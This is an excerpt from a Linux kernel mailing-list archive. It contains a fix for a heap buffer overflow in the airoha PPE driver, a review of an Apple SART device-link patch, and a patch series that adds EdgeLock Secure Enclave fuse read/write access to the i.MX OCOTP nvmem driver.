When airoha_ppe_foe_verify_entry() is called with hash >= ppe_num_entries/2,
it writes beyond the allocated buffer, causing heap buffer overflow and
potential kernel crash.

Fixes: 6d5b601d52a2 ("net: airoha: ppe: Dynamically allocate foe_check_time array in airoha_ppe struct")
Signed-off-by: Wayen Yan <win847@gmail.com>
---
 drivers/net/ethernet/airoha/airoha_ppe.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/drivers/net/ethernet/airoha/airoha_ppe.c b/drivers/net/ethernet/airoha/airoha_ppe.c
index 5c9dff6bcc..8fb8ecf909 100644
--- a/drivers/net/ethernet/airoha/airoha_ppe.c
+++ b/drivers/net/ethernet/airoha/airoha_ppe.c
@@ -1578,7 +1578,8 @@ int airoha_ppe_init(struct airoha_eth *eth)
 			return -ENOMEM;
 	}
 
-	ppe->foe_check_time = devm_kzalloc(eth->dev, ppe_num_entries,
+	ppe->foe_check_time = devm_kzalloc(eth->dev,
+					   ppe_num_entries * sizeof(*ppe->foe_check_time),
 					   GFP_KERNEL);
 	if (!ppe->foe_check_time)
 		return -ENOMEM;
-- 
2.51.0




^ permalink raw reply related

* Re: [PATCH] soc: apple: sart: require device link for consumers
From: Joshua Peisach @ 2026-06-16 11:58 UTC (permalink / raw)
  To: Pengpeng Hou, Sven Peter, Janne Grunau, Neal Gompa, asahi,
	linux-arm-kernel, linux-kernel
In-Reply-To: <20260616005346.7862-1-pengpeng@iscas.ac.cn>

On Mon Jun 15, 2026 at 8:53 PM EDT, Pengpeng Hou wrote:
> devm_apple_sart_get() obtains the supplier platform device and attempts
> to create a runtime-PM device link to it, but it ignores device_link_add()
> failure.  A consumer can then continue without the dependency that keeps
> the SART supplier ordered and runtime-PM reachable.
>
> Treat a failed device link as an error and drop the supplier device
> reference before returning.
>
> Signed-off-by: Pengpeng Hou <pengpeng@iscas.ac.cn>
> ---
>  drivers/soc/apple/sart.c | 9 +++++++--
>  1 file changed, 7 insertions(+), 2 deletions(-)
>
> diff --git a/drivers/soc/apple/sart.c b/drivers/soc/apple/sart.c
> index 9eaf3febb382..66b99955b395 100644
> --- a/drivers/soc/apple/sart.c
> +++ b/drivers/soc/apple/sart.c
> @@ -218,6 +218,7 @@ struct apple_sart *devm_apple_sart_get(struct device *dev)
>  {
>  	struct device_node *sart_node;
>  	struct platform_device *sart_pdev;
> +	struct device_link *link;
>  	struct apple_sart *sart;
>  
>  	sart_node = of_parse_phandle(dev->of_node, "apple,sart", 0);
> @@ -236,8 +237,12 @@ struct apple_sart *devm_apple_sart_get(struct device *dev)
>  		return ERR_PTR(-EPROBE_DEFER);
>  	}
>  
> -	device_link_add(dev, &sart_pdev->dev,
> -			DL_FLAG_PM_RUNTIME | DL_FLAG_AUTOREMOVE_SUPPLIER);
> +	link = device_link_add(dev, &sart_pdev->dev,
> +			       DL_FLAG_PM_RUNTIME | DL_FLAG_AUTOREMOVE_SUPPLIER);
> +	if (!link) {
> +		put_device(&sart_pdev->dev);
> +		return ERR_PTR(-ENODEV);
> +	}
>  
>  	put_device(&sart_pdev->dev);
>  

I *think* this is okay...

Reviewed-by: Joshua Peisach <jpeisach@ubuntu.com>


^ permalink raw reply

* [PATCH 5/9] nvmem: imx-ocotp-ele: Remove device-specific reg_read()
From: Frieder Schrempf @ 2026-06-16 11:52 UTC (permalink / raw)
  To: Srinivas Kandagatla, Rob Herring, Krzysztof Kozlowski,
	Conor Dooley, Frank Li, Sascha Hauer, Pengutronix Kernel Team,
	Fabio Estevam, Shawn Guo
  Cc: devicetree, imx, linux-arm-kernel, linux-kernel, Frieder Schrempf
In-Reply-To: <20260616-upstreaming-next-20260609-imx-ocotp-ele-v1-0-cb7f3698c3e6@kontron.de>

From: Frieder Schrempf <frieder.schrempf@kontron.de>

We only have a single implementation of the read hook. There is no
need to store it in the device data.

Signed-off-by: Frieder Schrempf <frieder.schrempf@kontron.de>
---
 drivers/nvmem/imx-ocotp-ele.c | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/drivers/nvmem/imx-ocotp-ele.c b/drivers/nvmem/imx-ocotp-ele.c
index dadec19ca252..9d3f94e35508 100644
--- a/drivers/nvmem/imx-ocotp-ele.c
+++ b/drivers/nvmem/imx-ocotp-ele.c
@@ -33,7 +33,6 @@ struct ocotp_devtype_data {
 	u32 size;
 	u32 num_entry;
 	u32 flag;
-	nvmem_reg_read_t reg_read;
 	const struct nvmem_keepout *keepout;
 	unsigned int nkeepout;
 	struct ocotp_map_entry entry[];
@@ -158,7 +157,7 @@ static int imx_ele_ocotp_probe(struct platform_device *pdev)
 	priv->config.id = NVMEM_DEVID_AUTO;
 	priv->config.owner = THIS_MODULE;
 	priv->config.size = priv->data->size;
-	priv->config.reg_read = priv->data->reg_read;
+	priv->config.reg_read = imx_ocotp_reg_read;
 	priv->config.word_size = 1;
 	priv->config.stride = 1;
 	priv->config.priv = priv;
@@ -190,7 +189,6 @@ static const struct nvmem_keepout imx93_ocotp_keepout[] = {
 
 static const struct ocotp_devtype_data imx93_ocotp_data = {
 	.reg_off = 0x8000,
-	.reg_read = imx_ocotp_reg_read,
 	.size = 2048,
 	.num_entry = 6,
 	.entry = {
@@ -207,7 +205,6 @@ static const struct ocotp_devtype_data imx93_ocotp_data = {
 
 static const struct ocotp_devtype_data imx94_ocotp_data = {
 	.reg_off = 0x8000,
-	.reg_read = imx_ocotp_reg_read,
 	.size = 3296, /* 103 Banks */
 	.num_entry = 10,
 	.entry = {
@@ -226,7 +223,6 @@ static const struct ocotp_devtype_data imx94_ocotp_data = {
 
 static const struct ocotp_devtype_data imx95_ocotp_data = {
 	.reg_off = 0x8000,
-	.reg_read = imx_ocotp_reg_read,
 	.size = 2048,
 	.num_entry = 12,
 	.entry = {

-- 
2.54.0



^ permalink raw reply related

* [PATCH 7/9] nvmem: imx-ocotp-ele: Remove the FUSE_ELE type
From: Frieder Schrempf @ 2026-06-16 11:52 UTC (permalink / raw)
  To: Srinivas Kandagatla, Rob Herring, Krzysztof Kozlowski,
	Conor Dooley, Frank Li, Sascha Hauer, Pengutronix Kernel Team,
	Fabio Estevam, Shawn Guo
  Cc: devicetree, imx, linux-arm-kernel, linux-kernel, Frieder Schrempf
In-Reply-To: <20260616-upstreaming-next-20260609-imx-ocotp-ele-v1-0-cb7f3698c3e6@kontron.de>

From: Frieder Schrempf <frieder.schrempf@kontron.de>

There is no use in tracking the fuses that are only accessible via
ELE API and the current lists are incomplete. If the ELE API is
available it will be used as primary access method anyway, otherwise
the fuses not listed as accessible through the FSB can be considered
invalid.

No functional changes intended.

Signed-off-by: Frieder Schrempf <frieder.schrempf@kontron.de>
---
 drivers/nvmem/imx-ocotp-ele.c | 19 +++++--------------
 1 file changed, 5 insertions(+), 14 deletions(-)

diff --git a/drivers/nvmem/imx-ocotp-ele.c b/drivers/nvmem/imx-ocotp-ele.c
index 92cc061b9b34..3d6fad149ed5 100644
--- a/drivers/nvmem/imx-ocotp-ele.c
+++ b/drivers/nvmem/imx-ocotp-ele.c
@@ -18,8 +18,7 @@
 
 enum fuse_type {
 	FUSE_FSB = BIT(0),
-	FUSE_ELE = BIT(1),
-	FUSE_ECC = BIT(2),
+	FUSE_ECC = BIT(1),
 	FUSE_INVALID = -1
 };
 
@@ -111,7 +110,7 @@ static int imx_ocotp_reg_read(void *context, unsigned int offset, void *val, siz
 		}
 
 		type = imx_ocotp_fuse_type(context, i);
-		if (type == FUSE_INVALID || type == FUSE_ELE) {
+		if (type == FUSE_INVALID) {
 			*buf++ = 0;
 			continue;
 		}
@@ -264,13 +263,9 @@ static const struct nvmem_keepout imx93_ocotp_keepout[] = {
 static const struct ocotp_devtype_data imx93_ocotp_data = {
 	.reg_off = 0x8000,
 	.size = 2048,
-	.num_entry = 6,
+	.num_entry = 2,
 	.entry = {
 		{ 0, 52, FUSE_FSB },
-		{ 63, 1, FUSE_ELE},
-		{ 128, 16, FUSE_ELE },
-		{ 182, 1, FUSE_ELE },
-		{ 188, 1, FUSE_ELE },
 		{ 312, 200, FUSE_FSB }
 	},
 	.keepout = imx93_ocotp_keepout,
@@ -280,7 +275,7 @@ static const struct ocotp_devtype_data imx93_ocotp_data = {
 static const struct ocotp_devtype_data imx94_ocotp_data = {
 	.reg_off = 0x8000,
 	.size = 3296, /* 103 Banks */
-	.num_entry = 10,
+	.num_entry = 9,
 	.entry = {
 		{ 0, 1, FUSE_FSB | FUSE_ECC },
 		{ 7, 1, FUSE_FSB | FUSE_ECC },
@@ -288,7 +283,6 @@ static const struct ocotp_devtype_data imx94_ocotp_data = {
 		{ 12, 24, FUSE_FSB },
 		{ 36, 2, FUSE_FSB  | FUSE_ECC },
 		{ 38, 14, FUSE_FSB },
-		{ 59, 1, FUSE_ELE },
 		{ 525, 2, FUSE_FSB | FUSE_ECC },
 		{ 528, 7, FUSE_FSB },
 		{ 536, 280, FUSE_FSB },
@@ -298,7 +292,7 @@ static const struct ocotp_devtype_data imx94_ocotp_data = {
 static const struct ocotp_devtype_data imx95_ocotp_data = {
 	.reg_off = 0x8000,
 	.size = 2048,
-	.num_entry = 12,
+	.num_entry = 9,
 	.entry = {
 		{ 0, 1, FUSE_FSB | FUSE_ECC },
 		{ 7, 1, FUSE_FSB | FUSE_ECC },
@@ -306,9 +300,6 @@ static const struct ocotp_devtype_data imx95_ocotp_data = {
 		{ 12, 24, FUSE_FSB },
 		{ 36, 2, FUSE_FSB  | FUSE_ECC },
 		{ 38, 14, FUSE_FSB },
-		{ 63, 1, FUSE_ELE },
-		{ 128, 16, FUSE_ELE },
-		{ 188, 1, FUSE_ELE },
 		{ 317, 2, FUSE_FSB | FUSE_ECC },
 		{ 320, 7, FUSE_FSB },
 		{ 328, 184, FUSE_FSB }

-- 
2.54.0



^ permalink raw reply related

* [PATCH 9/9] arm64: dts: imx93-kontron: Enable ELE firmware driver
From: Frieder Schrempf @ 2026-06-16 11:52 UTC (permalink / raw)
  To: Srinivas Kandagatla, Rob Herring, Krzysztof Kozlowski,
	Conor Dooley, Frank Li, Sascha Hauer, Pengutronix Kernel Team,
	Fabio Estevam, Shawn Guo
  Cc: devicetree, imx, linux-arm-kernel, linux-kernel, Frieder Schrempf
In-Reply-To: <20260616-upstreaming-next-20260609-imx-ocotp-ele-v1-0-cb7f3698c3e6@kontron.de>

From: Frieder Schrempf <frieder.schrempf@kontron.de>

Add the ELE firmware API node and pass its handle to the OCOTP
driver. This allows us to gain read/write access to the OTP fuses.

Signed-off-by: Frieder Schrempf <frieder.schrempf@kontron.de>
---
 .../boot/dts/freescale/imx93-kontron-osm-s.dtsi    | 26 ++++++++++++++++++++++
 1 file changed, 26 insertions(+)

diff --git a/arch/arm64/boot/dts/freescale/imx93-kontron-osm-s.dtsi b/arch/arm64/boot/dts/freescale/imx93-kontron-osm-s.dtsi
index c79b1df339db..c1da4b52c878 100644
--- a/arch/arm64/boot/dts/freescale/imx93-kontron-osm-s.dtsi
+++ b/arch/arm64/boot/dts/freescale/imx93-kontron-osm-s.dtsi
@@ -24,6 +24,15 @@ chosen {
 		stdout-path = &lpuart1;
 	};
 
+	firmware {
+		hsm0: secure-enclave {
+			compatible = "fsl,imx93-se-ele-hsm";
+			mbox-names = "tx", "rx";
+			mboxes = <&s4muap 0 0>, <&s4muap 1 0>;
+			memory-region = <&ele_memory>;
+		};
+	};
+
 	reg_usdhc2_vcc: regulator-usdhc2-vcc {
 		compatible = "regulator-fixed";
 		pinctrl-names = "default";
@@ -57,6 +66,19 @@ regulator-state-disk {
 			regulator-off-in-suspend;
 		};
 	};
+
+	reserved-memory {
+		#address-cells = <2>;
+		#size-cells = <2>;
+		ranges;
+
+		ele_memory: ele-memory {
+			compatible = "shared-dma-pool";
+			alloc-ranges = <0 0x80000000 0 0x40000000>;
+			size = <0 0x100000>;
+			no-map;
+		};
+	};
 };
 
 &flexcan1 { /* OSM-S CAN_A */
@@ -253,6 +275,10 @@ &lpuart7 { /* OSM-S UART_A */
 	pinctrl-0 = <&pinctrl_lpuart7>;
 };
 
+&ocotp {
+	secure-enclave = <&hsm0>;
+};
+
 &tpm3 { /* OSM-S PWM_0 */
 	pinctrl-names = "default";
 	pinctrl-0 = <&pinctrl_tpm3>;

-- 
2.54.0



^ permalink raw reply related

* [PATCH 6/9] nvmem: imx-ocotp-ele: Support the ELE API
From: Frieder Schrempf @ 2026-06-16 11:52 UTC (permalink / raw)
  To: Srinivas Kandagatla, Rob Herring, Krzysztof Kozlowski,
	Conor Dooley, Frank Li, Sascha Hauer, Pengutronix Kernel Team,
	Fabio Estevam, Shawn Guo
  Cc: devicetree, imx, linux-arm-kernel, linux-kernel, Frieder Schrempf
In-Reply-To: <20260616-upstreaming-next-20260609-imx-ocotp-ele-v1-0-cb7f3698c3e6@kontron.de>

From: Frieder Schrempf <frieder.schrempf@kontron.de>

The fuses inside the Edgelock Secure Enclave are currently not
accessed via its API but through the FSB block which provides
limited access to some fuses.

The ELE API allows us to access all fuses with read/write
permissions. Therefore use it as primary method and only fall
back to the limited FSB if the ELE API is not available.

Signed-off-by: Frieder Schrempf <frieder.schrempf@kontron.de>
---
 drivers/nvmem/imx-ocotp-ele.c | 76 ++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 75 insertions(+), 1 deletion(-)

diff --git a/drivers/nvmem/imx-ocotp-ele.c b/drivers/nvmem/imx-ocotp-ele.c
index 9d3f94e35508..92cc061b9b34 100644
--- a/drivers/nvmem/imx-ocotp-ele.c
+++ b/drivers/nvmem/imx-ocotp-ele.c
@@ -6,10 +6,12 @@
  */
 
 #include <linux/device.h>
+#include <linux/firmware/imx/se_api.h>
 #include <linux/io.h>
 #include <linux/module.h>
 #include <linux/nvmem-provider.h>
 #include <linux/of.h>
+#include <linux/of_platform.h>
 #include <linux/platform_device.h>
 #include <linux/slab.h>
 #include <linux/if_ether.h>	/* ETH_ALEN */
@@ -44,6 +46,8 @@ struct imx_ocotp_priv {
 	struct nvmem_config config;
 	struct mutex lock;
 	const struct ocotp_devtype_data *data;
+	void *se_data;
+	struct platform_device *se_dev;
 };
 
 static enum fuse_type imx_ocotp_fuse_type(void *context, u32 index)
@@ -72,6 +76,7 @@ static int imx_ocotp_reg_read(void *context, unsigned int offset, void *val, siz
 	enum fuse_type type;
 	u32 *buf;
 	void *p;
+	int ret;
 	int i;
 	u8 skipbytes;
 
@@ -92,6 +97,19 @@ static int imx_ocotp_reg_read(void *context, unsigned int offset, void *val, siz
 	buf = p;
 
 	for (i = index; i < (index + count); i++) {
+		/*
+		 * All fuse registers can be read via ELE. If the SE device is
+		 * available, always prefer it.
+		 */
+		if (priv->se_data) {
+			ret = imx_se_read_fuse(priv->se_data, i, buf++);
+			if (ret) {
+				mutex_unlock(&priv->lock);
+				return ret;
+			}
+			continue;
+		}
+
 		type = imx_ocotp_fuse_type(context, i);
 		if (type == FUSE_INVALID || type == FUSE_ELE) {
 			*buf++ = 0;
@@ -113,6 +131,32 @@ static int imx_ocotp_reg_read(void *context, unsigned int offset, void *val, siz
 	return 0;
 };
 
+static int imx_ocotp_reg_write(void *context, unsigned int offset, void *val, size_t bytes)
+{
+	struct imx_ocotp_priv *priv = context;
+	u32 word = offset >> 2;
+	u32 *buf = val;
+	int ret;
+
+	/* allow only writing one complete OTP word at a time */
+	if ((bytes != 4) || (offset % 4 != 0))
+		return -EINVAL;
+
+	/*
+	 * The ELE API returns an error when writing an all-zero value. As
+	 * OTP fuse bits can not be switched from 1 to 0 anyway, skip these
+	 * values.
+	 */
+	if (!*buf)
+		return 0;
+
+	mutex_lock(&priv->lock);
+	ret = imx_se_write_fuse(priv->se_data, word, *buf);
+	mutex_unlock(&priv->lock);
+
+	return ret;
+}
+
 static int imx_ocotp_cell_pp(void *context, const char *id, int index,
 			     unsigned int offset, void *data, size_t bytes)
 {
@@ -136,11 +180,18 @@ static void imx_ocotp_fixup_dt_cell_info(struct nvmem_device *nvmem,
 	cell->read_post_process = imx_ocotp_cell_pp;
 }
 
+static void imx_ocotp_put_se_dev(void *data)
+{
+	platform_device_put(data);
+}
+
 static int imx_ele_ocotp_probe(struct platform_device *pdev)
 {
 	struct device *dev = &pdev->dev;
 	struct imx_ocotp_priv *priv;
 	struct nvmem_device *nvmem;
+	struct device_node *np;
+	int ret;
 
 	priv = devm_kzalloc(dev, sizeof(*priv), GFP_KERNEL);
 	if (!priv)
@@ -152,16 +203,36 @@ static int imx_ele_ocotp_probe(struct platform_device *pdev)
 	if (IS_ERR(priv->base))
 		return PTR_ERR(priv->base);
 
+	np = of_parse_phandle(pdev->dev.of_node, "secure-enclave", 0);
+	if (!np) {
+		dev_info(&pdev->dev, "missing or invalid SE handle, using readonly FSB\n");
+	} else {
+		priv->se_dev = of_find_device_by_node(np);
+		of_node_put(np);
+		if (!priv->se_dev)
+			return dev_err_probe(&pdev->dev, -ENODEV, "failed to find SE device\n");
+
+		ret = devm_add_action_or_reset(&pdev->dev, imx_ocotp_put_se_dev,
+					       priv->se_dev);
+		if (ret)
+			return ret;
+
+		priv->se_data = platform_get_drvdata(priv->se_dev);
+		if (!priv->se_data)
+			return dev_err_probe(&pdev->dev, -EPROBE_DEFER,
+					     "SE device not ready\n");
+	}
+
 	priv->config.dev = dev;
 	priv->config.name = "ELE-OCOTP";
 	priv->config.id = NVMEM_DEVID_AUTO;
 	priv->config.owner = THIS_MODULE;
 	priv->config.size = priv->data->size;
 	priv->config.reg_read = imx_ocotp_reg_read;
+	priv->config.reg_write = imx_ocotp_reg_write;
 	priv->config.word_size = 1;
 	priv->config.stride = 1;
 	priv->config.priv = priv;
-	priv->config.read_only = true;
 	priv->config.add_legacy_fixed_of_cells = true;
 	priv->config.fixup_dt_cell_info = imx_ocotp_fixup_dt_cell_info;
 
@@ -170,6 +241,9 @@ static int imx_ele_ocotp_probe(struct platform_device *pdev)
 		priv->config.nkeepout = priv->data->nkeepout;
 	}
 
+	if (!priv->se_data)
+		priv->config.read_only = true;
+
 	mutex_init(&priv->lock);
 
 	nvmem = devm_nvmem_register(dev, &priv->config);

-- 
2.54.0



^ permalink raw reply related

* [PATCH 8/9] nvmem: imx-ocotp-ele: Rename FSB access map
From: Frieder Schrempf @ 2026-06-16 11:52 UTC (permalink / raw)
  To: Srinivas Kandagatla, Rob Herring, Krzysztof Kozlowski,
	Conor Dooley, Frank Li, Sascha Hauer, Pengutronix Kernel Team,
	Fabio Estevam, Shawn Guo
  Cc: devicetree, imx, linux-arm-kernel, linux-kernel, Frieder Schrempf
In-Reply-To: <20260616-upstreaming-next-20260609-imx-ocotp-ele-v1-0-cb7f3698c3e6@kontron.de>

From: Frieder Schrempf <frieder.schrempf@kontron.de>

The table is used to declare which fuse registers are accessible
through the FSB block. Name it accordingly to make this clearer for
the reader.

No functional changes intended.

Signed-off-by: Frieder Schrempf <frieder.schrempf@kontron.de>
---
 drivers/nvmem/imx-ocotp-ele.c | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/drivers/nvmem/imx-ocotp-ele.c b/drivers/nvmem/imx-ocotp-ele.c
index 3d6fad149ed5..766b0d746f6c 100644
--- a/drivers/nvmem/imx-ocotp-ele.c
+++ b/drivers/nvmem/imx-ocotp-ele.c
@@ -32,11 +32,11 @@ struct ocotp_devtype_data {
 	u32 reg_off;
 	char *name;
 	u32 size;
-	u32 num_entry;
+	u32 num_fsb_map;
 	u32 flag;
 	const struct nvmem_keepout *keepout;
 	unsigned int nkeepout;
-	struct ocotp_map_entry entry[];
+	struct ocotp_map_entry fsb_map[];
 };
 
 struct imx_ocotp_priv {
@@ -56,12 +56,12 @@ static enum fuse_type imx_ocotp_fuse_type(void *context, u32 index)
 	u32 start, end;
 	int i;
 
-	for (i = 0; i < data->num_entry; i++) {
-		start = data->entry[i].start;
-		end = data->entry[i].start + data->entry[i].num;
+	for (i = 0; i < data->num_fsb_map; i++) {
+		start = data->fsb_map[i].start;
+		end = data->fsb_map[i].start + data->fsb_map[i].num;
 
 		if (index >= start && index < end)
-			return data->entry[i].type;
+			return data->fsb_map[i].type;
 	}
 
 	return FUSE_INVALID;
@@ -263,8 +263,8 @@ static const struct nvmem_keepout imx93_ocotp_keepout[] = {
 static const struct ocotp_devtype_data imx93_ocotp_data = {
 	.reg_off = 0x8000,
 	.size = 2048,
-	.num_entry = 2,
-	.entry = {
+	.num_fsb_map = 2,
+	.fsb_map = {
 		{ 0, 52, FUSE_FSB },
 		{ 312, 200, FUSE_FSB }
 	},
@@ -275,8 +275,8 @@ static const struct ocotp_devtype_data imx93_ocotp_data = {
 static const struct ocotp_devtype_data imx94_ocotp_data = {
 	.reg_off = 0x8000,
 	.size = 3296, /* 103 Banks */
-	.num_entry = 9,
-	.entry = {
+	.num_fsb_map = 9,
+	.fsb_map = {
 		{ 0, 1, FUSE_FSB | FUSE_ECC },
 		{ 7, 1, FUSE_FSB | FUSE_ECC },
 		{ 9, 3, FUSE_FSB | FUSE_ECC },
@@ -292,8 +292,8 @@ static const struct ocotp_devtype_data imx94_ocotp_data = {
 static const struct ocotp_devtype_data imx95_ocotp_data = {
 	.reg_off = 0x8000,
 	.size = 2048,
-	.num_entry = 9,
-	.entry = {
+	.num_fsb_map = 9,
+	.fsb_map = {
 		{ 0, 1, FUSE_FSB | FUSE_ECC },
 		{ 7, 1, FUSE_FSB | FUSE_ECC },
 		{ 9, 3, FUSE_FSB | FUSE_ECC },

-- 
2.54.0



^ permalink raw reply related

* [PATCH 0/9] Support ELE API in i.MX OCOTP NVMEM driver
From: Frieder Schrempf @ 2026-06-16 11:52 UTC (permalink / raw)
  To: Srinivas Kandagatla, Rob Herring, Krzysztof Kozlowski,
	Conor Dooley, Frank Li, Sascha Hauer, Pengutronix Kernel Team,
	Fabio Estevam, Shawn Guo
  Cc: devicetree, imx, linux-arm-kernel, linux-kernel, Frieder Schrempf

The imx-ocotp-ele.c driver currently uses the limited FSB (fuseblock)
to access the fuse registers. In order to gain full read/write access
to all fuses, we need to use the Edgelock Secure Enclave firmware.

This patchset does:

* Add bindings to reference ELE device in OCOTP driver (patch 1)
* Add ELE API functions for accessing the fuses (patch 3)
* Let the OCOTP driver use the ELE API (patch 6)
* Extend the devicetree of the Kontron boards for using the ELE API (patch 9)

The rest of the patches contain cleanups that were implemented along
the way.

This was tested using the 'crucible' tool and through hexdump on the
nvmem device.

---
Frieder Schrempf (9):
      dt-bindings: nvmem: imx-ocotp: Add support for secure-enclave
      firmware: imx: ele: Fix indentation in ele_base_msg.h
      firmware: imx: ele: Add API functions for OCOTP fuse access
      nvmem: imx-ocotp-ele: Add keepout table for i.MX93
      nvmem: imx-ocotp-ele: Remove device-specific reg_read()
      nvmem: imx-ocotp-ele: Support the ELE API
      nvmem: imx-ocotp-ele: Remove the FUSE_ELE type
      nvmem: imx-ocotp-ele: Rename FSB access map
      arm64: dts: imx93-kontron: Enable ELE firmware driver

 .../devicetree/bindings/nvmem/imx-ocotp.yaml       |   4 +
 .../boot/dts/freescale/imx93-kontron-osm-s.dtsi    |  26 ++++
 drivers/firmware/imx/ele_base_msg.c                | 122 ++++++++++++++++++
 drivers/firmware/imx/ele_base_msg.h                |  22 ++--
 drivers/nvmem/imx-ocotp-ele.c                      | 137 ++++++++++++++++-----
 include/linux/firmware/imx/se_api.h                |   3 +
 6 files changed, 277 insertions(+), 37 deletions(-)
---
base-commit: 49e02880ec0a8c378e811bc9d85da188d7c6204c
change-id: 20260616-upstreaming-next-20260609-imx-ocotp-ele-a512ddf96b03

Best regards,
--  
Frieder Schrempf <frieder.schrempf@kontron.de>



^ permalink raw reply

* [PATCH 3/9] firmware: imx: ele: Add API functions for OCOTP fuse access
From: Frieder Schrempf @ 2026-06-16 11:52 UTC (permalink / raw)
  To: Srinivas Kandagatla, Rob Herring, Krzysztof Kozlowski,
	Conor Dooley, Frank Li, Sascha Hauer, Pengutronix Kernel Team,
	Fabio Estevam, Shawn Guo
  Cc: devicetree, imx, linux-arm-kernel, linux-kernel, Frieder Schrempf
In-Reply-To: <20260616-upstreaming-next-20260609-imx-ocotp-ele-v1-0-cb7f3698c3e6@kontron.de>

From: Frieder Schrempf <frieder.schrempf@kontron.de>

The ELE S400 API provides read and write access to the OCOTP fuse
registers. This adds the necessary API functions imx_se_read_fuse()
and imx_se_write_fuse() to be used by other drivers such as the
OCOTP S400 NVMEM driver.

This is ported from the downstream vendor kernel.

Signed-off-by: Frieder Schrempf <frieder.schrempf@kontron.de>
---
 drivers/firmware/imx/ele_base_msg.c | 122 ++++++++++++++++++++++++++++++++++++
 drivers/firmware/imx/ele_base_msg.h |   6 ++
 include/linux/firmware/imx/se_api.h |   3 +
 3 files changed, 131 insertions(+)

diff --git a/drivers/firmware/imx/ele_base_msg.c b/drivers/firmware/imx/ele_base_msg.c
index ec718d322abc..281d223aa144 100644
--- a/drivers/firmware/imx/ele_base_msg.c
+++ b/drivers/firmware/imx/ele_base_msg.c
@@ -8,6 +8,7 @@
 #include <linux/cleanup.h>
 #include <linux/completion.h>
 #include <linux/dma-mapping.h>
+#include <linux/firmware/imx/se_api.h>
 #include <linux/genalloc.h>
 
 #include "ele_base_msg.h"
@@ -303,3 +304,124 @@ int ele_debug_dump(struct se_if_priv *priv)
 
 	return ret;
 }
+
+static int ele_read_fuse(struct se_if_priv *priv, uint16_t fuse_id, u32 *value)
+{
+	struct se_api_msg *tx_msg __free(kfree) = NULL;
+	struct se_api_msg *rx_msg __free(kfree) = NULL;
+	int rx_msg_sz = ELE_READ_FUSE_RSP_MSG_SZ;
+	int ret = 0;
+
+	if (!priv)
+		return -EINVAL;
+
+	tx_msg = kzalloc(ELE_READ_FUSE_REQ_MSG_SZ, GFP_KERNEL);
+	if (!tx_msg)
+		return -ENOMEM;
+
+	rx_msg = kzalloc(rx_msg_sz, GFP_KERNEL);
+	if (!rx_msg)
+		return -ENOMEM;
+
+	ret = se_fill_cmd_msg_hdr(priv, (struct se_msg_hdr *)&tx_msg->header,
+				  ELE_READ_FUSE_REQ, ELE_READ_FUSE_REQ_MSG_SZ,
+				  true);
+	if (ret)
+		return ret;
+
+	tx_msg->data[0] = fuse_id;
+
+	ret = ele_msg_send_rcv(priv->priv_dev_ctx, tx_msg,
+			       ELE_READ_FUSE_REQ_MSG_SZ, rx_msg, rx_msg_sz);
+	if (ret < 0)
+		return ret;
+
+	ret = se_val_rsp_hdr_n_status(priv, rx_msg, ELE_READ_FUSE_REQ,
+				      rx_msg_sz, true);
+	if (ret)
+		return ret;
+
+	*value = rx_msg->data[1];
+
+	return 0;
+}
+
+/**
+ * imx_se_read_fuse() - API to request SE-FW to read the fuse value.
+ * @se_if_data: refs to data attached to the se interface.
+ * @fuse_id: fuse identifier to read.
+ * @value: unsigned integer array to store the fuse values.
+ *
+ * Secure enclave like EdgeLock Enclave, manages the fuses. This API
+ * requests the FW to read the fuses. FW responds with the read values.
+ *
+ * Context:
+ *
+ * Return value:
+ *   0,   means success.
+ *   < 0, means failure.
+ */
+int imx_se_read_fuse(void *se_if_data, uint16_t fuse_id, u32 *value)
+{
+	return ele_read_fuse((struct se_if_priv *)se_if_data, fuse_id, value);
+}
+EXPORT_SYMBOL_GPL(imx_se_read_fuse);
+
+static int ele_write_fuse(struct se_if_priv *priv, uint16_t fuse_id, u32 value)
+{
+	struct se_api_msg *tx_msg __free(kfree) = NULL;
+	struct se_api_msg *rx_msg __free(kfree) = NULL;
+	int ret = 0;
+
+	if (!priv)
+		return -EINVAL;
+
+	tx_msg = kzalloc(ELE_WRITE_FUSE_REQ_MSG_SZ, GFP_KERNEL);
+	if (!tx_msg)
+		return -ENOMEM;
+
+	rx_msg = kzalloc(ELE_WRITE_FUSE_RSP_MSG_SZ, GFP_KERNEL);
+	if (!rx_msg)
+		return -ENOMEM;
+
+	ret = se_fill_cmd_msg_hdr(priv, (struct se_msg_hdr *)&tx_msg->header,
+				  ELE_WRITE_FUSE, ELE_WRITE_FUSE_REQ_MSG_SZ,
+				  true);
+	if (ret)
+		return ret;
+
+	tx_msg->data[0] = (32 << 16) | (fuse_id << 5);
+	tx_msg->data[1] = value;
+
+	ret = ele_msg_send_rcv(priv->priv_dev_ctx, tx_msg,
+			       ELE_WRITE_FUSE_REQ_MSG_SZ, rx_msg,
+			       ELE_WRITE_FUSE_RSP_MSG_SZ);
+	if (ret < 0)
+		return ret;
+
+	ret = se_val_rsp_hdr_n_status(priv, rx_msg, ELE_WRITE_FUSE,
+				      ELE_WRITE_FUSE_RSP_MSG_SZ, true);
+
+	return ret;
+}
+
+/**
+ * imx_se_write_fuse() - API to request SE-FW to write to fuses.
+ * @se_if_data: refs to data attached to the se interface.
+ * @fuse_id: fuse identifier to write to.
+ * @value: unsigned integer value that to be written to the fuse.
+ *
+ * Secure enclave like EdgeLock Enclave, manages the fuses. This API
+ * requests the FW to write the fuse with the given value.
+ *
+ * Context:
+ *
+ * Return value:
+ *   0,   means success.
+ *   < 0, means failure.
+ */
+int imx_se_write_fuse(void *se_if_data, uint16_t fuse_id, u32 value)
+{
+	return ele_write_fuse((struct se_if_priv *)se_if_data, fuse_id, value);
+}
+EXPORT_SYMBOL_GPL(imx_se_write_fuse);
diff --git a/drivers/firmware/imx/ele_base_msg.h b/drivers/firmware/imx/ele_base_msg.h
index 1c5d6791b323..2af3ada2ad07 100644
--- a/drivers/firmware/imx/ele_base_msg.h
+++ b/drivers/firmware/imx/ele_base_msg.h
@@ -36,6 +36,12 @@
 #define ELE_GET_INFO_REQ_MSG_SZ		0x10
 #define ELE_GET_INFO_RSP_MSG_SZ		0x08
 
+#define ELE_READ_FUSE_REQ_MSG_SZ	(8)
+#define ELE_READ_FUSE_RSP_MSG_SZ	(12)
+
+#define ELE_WRITE_FUSE_REQ_MSG_SZ	(12)
